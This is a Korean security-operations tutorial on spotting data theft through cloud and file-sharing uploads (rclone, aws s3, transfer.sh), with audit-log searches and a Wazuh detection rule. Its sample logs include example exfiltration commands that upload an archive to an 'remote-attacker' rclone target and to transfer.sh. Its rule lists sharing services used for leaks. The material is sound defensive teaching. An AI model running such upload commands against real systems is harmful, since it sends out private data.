235. 중요 정보 접근 — 클라우드·웹 업로드 유출 탐지

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 35/50편 (전체 235/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

• 234. 중요 정보 접근 — ICMP·비표준 채널 유출 탐지
• 232. 외부 전송(아웃바운드) 유출 탐지

1. 개념

공격자는 클라우드 스토리지·파일 공유 서비스(S3·Dropbox·pastebin·transfer.sh 등)로 데이터를 유출합니다. HTTPS를 쓰는 정상 서비스라 트래픽이 암호화·위장되어 탐지가 어렵습니다.

클라우드·웹 업로드 유출
 클라우드 스토리지: aws s3 cp, gsutil, rclone
 파일 공유:         transfer.sh, file.io, pastebin
 코드 저장소:       git push(민감 데이터 포함)
 웹훅·API:          Slack/Discord webhook로 전송

특징: HTTPS 정상 서비스 위장, 암호화 트래픽
탐지: 목적지(클라우드 도메인)+업로드 도구+데이터량

HTTPS 암호화로 내용은 못 보지만, 목적지 도메인·업로드 도구·전송량으로 탐지합니다. 정상 업무용 클라우드와 구분이 관건입니다.

2. 왜 중요한가

• 클라우드 유출은 HTTPS 정상 서비스로 위장되어 내용 기반 탐지가 어렵습니다.
• 업무에 안 쓰는 클라우드·공유 서비스로의 업로드가 이상 신호입니다.
• 목적지 도메인·업로드 도구(rclone·aws cli)·전송량으로 판정합니다.

3. 핵심 명령어 / 설정

유출 서비스	도구	위험
S3·GCS	aws s3·gsutil	높음
rclone(범용)	rclone copy	높음
transfer.sh·file.io	curl 업로드	높음
pastebin	curl POST	중간
git push	git(민감 포함)	중간

4. 실습 (실습 예시)

# 클라우드·웹 업로드 유출 탐지 (분석 방법)
# 클라우드 업로드 도구 실행
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -oE 'proctitle=.*(aws s3|gsutil|rclone|git push).*' | tail
# 파일 공유 서비스로의 curl(목적지)
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -E 'transfer\.sh|file\.io|pastebin|0x0\.st|webhook'

5. 정상 상태

$ (클라우드 업로드) (없음 또는 승인된 백업 대상만)
$ (파일 공유) (없음)

클라우드 업로드가 승인된 백업 대상에만 발생하고, 공유 서비스·웹훅 유출이 없는 상태가 정상입니다.

6. 이상 상태

$ (클라우드 업로드)
04:08 proctitle="rclone copy /tmp/.d/all.tgz remote-attacker:/leak"
$ (파일 공유)
04:09 proctitle="curl --upload-file all.tgz https://transfer.sh/"

• rclone으로 공격자 원격 스토리지에 데이터 업로드 → 클라우드 유출
• transfer.sh에 업로드 → 공유 링크로 유출
• 업무 외 클라우드·공유 서비스 업로드 → 정탐(피해 확정)

7. 로그 분석 (분석 방법)

클라우드·웹 업로드 유출 흐름입니다(가상의 예시 로그).

type=SYSCALL comm="rclone" auid=www-data key="exfil"
type=PROCTITLE proctitle=rclone copy /tmp/.d/all.tgz remote-attacker:/leak
[네트워크] HTTPS → 클라우드 API (암호화·위장)
 → staging 데이터를 클라우드로 유출(정상 서비스 위장)

관찰	해석
rclone copy	클라우드 업로드
transfer.sh	공유 유출
HTTPS 위장	암호화
업무 외 대상	유출

HTTPS 위장으로 내용은 못 봐도, 업무 외 목적지·업로드 도구로 유출을 포착합니다.

8. SOC 관제 포인트

• 클라우드·웹 업로드 유출은 HTTPS 정상 서비스로 위장되어 탐지가 어렵습니다.
• 업무에 안 쓰는 클라우드·공유 서비스로의 업로드가 핵심 이상 신호입니다.
• 목적지 도메인·업로드 도구·전송량으로 정상 업무 클라우드와 구분합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
  <rule id="104340" level="12">
    <if_sid>104280,104000</if_sid>
    <field name="audit.proctitle" type="pcre2">(rclone\s+copy|aws\s+s3\s+cp|gsutil\s+cp|curl.*(transfer\.sh|file\.io|0x0\.st|pastebin)|--upload-file)</field>
    <description>클라우드·파일 공유 서비스로 데이터 업로드(유출)</description>
    <mitre><id>T1567.002</id></mitre>
  </rule>
</group>

승인된 업무 클라우드(백업 대상)는 목적지 화이트리스트로 제외합니다. 네트워크 프록시 로그와 결합해 목적지를 확인합니다.

10. 대응 방법

1. 초기 확인 — 업로드 도구·목적지(클라우드·공유 서비스)·전송 데이터를 확인합니다.
2. 범위 확인 — 업무용 승인 대상 여부·전송량·staging 연계를 확인합니다.
3. 증거 확보 — 업로드 이벤트·네트워크 로그·전송 데이터를 보존합니다.
4. 차단/조치 — 유출 정탐이면 연결 차단·세션 종료·클라우드 목적지·유출 범위 조사를 진행합니다.
5. 재발 방지 — 클라우드·웹 업로드 유출 탐지를 운영합니다.

11. 핵심 정리

유출 서비스	도구
S3/GCS	aws s3/gsutil
rclone	범용 클라우드
transfer.sh/file.io	curl 업로드
git push	저장소 유출
면접 포인트	"클라우드 유출은 HTTPS 위장 — 업무 외 목적지·업로드 도구로 판정"

12. 다음 편 예고

다음 편 236. 중요 정보 접근 — 대용량 아웃바운드 트래픽 탐지 에서는 대용량 아웃바운드 트래픽을 다루는 대용량 아웃바운드 트래픽 탐지를 다룹니다.

---

이전 편: 234. 중요 정보 접근 — ICMP·비표준 채널 유출 탐지
📚 시리즈 전체 보기: 시스템 보안 · 취약점